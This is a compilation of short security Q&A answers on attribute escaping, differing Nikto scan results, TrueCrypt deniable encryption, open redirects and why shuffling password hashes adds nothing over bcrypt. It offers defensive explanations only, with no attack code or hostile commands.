
So your question can be answered with "because you apply the wrong rule for your context".

But to cite the applicable rule as well:

  The reason this rule is so broad is that developers frequently leave attributes unquoted. Properly quoted attributes can only be escaped with the corresponding quote. Unquoted attributes can be broken out of with many characters, including [space] % * + , - / ; < = > ^ and |.

So, yes, if you consistently and always use quotation marks on attributes, you only need to escape those. But that only needs one slip up and things fall apart, so the general rule is to be more rigorous than absolutely necessary.


Nikto - results differ for IP and hostname

This vulnerability affects the dotnet framework. Any virtual host that does not have dotnet bindings will not show as vulnerable.

In your case the IP address most likely routes to the default virtual host which unlike the machine virtual host probably does not have any dotnet bindings configured.

That being said you should patch that server as it is a pretty nasty bug.


TrueCrypt supported a duress password which would appear to decrypt the system, but not allow access to the true data, which they called "deniable encryption".

It's been discussed here on security.SE: Plausible deniability with TrueCrypt , Truly deniable encryption


Tampering req.getParameter() Vs req.getAttribute()

Looks like there might be a open-redirect vulnerability. This might mean an attacker could craft a link with your URL and make your web site redirect the user to a malicious page. The user, just seeing the 'trusted' website belonging to you, gets redirected to the malicious webpage, which might mount an attack such as a CSRF/XSS. So although this code does not have any vulnerability by itself, it can be used to launch other serious attacks.

Reference: CWE 601


Does shuffling a hashed password increase its security?

The "shuffling" you intend is conceptually a kind of encryption: you apply a secret convention on the result. This changes anything to the security only if the convention is indeed kept away from the prying eyes of the attacker -- the attacker who just plundered the database of hashed passwords, and thus had some extensive access to the internals of your server. But the server must know of the shuffling (since it applies it). Therefore, it seems rather improbable that your shuffling is unknown to the attacker. Conclusion: your shuffling is probably not useful.

What would increase security would be to use a proper password-hashing function, which includes a salt in a cryptographically sane way, and is adequately slow (i.e. made very slow through thousands or even millions of iterations). This is called bcrypt. This sort of thing must not be improvised; homegrown schemes are very rarely secure (most are deemed secure by their inventor, but reality has a tendency to be unkind to the dreams of the self-made inventors, especially in highly technical areas where success cannot be tested, in particular cryptography).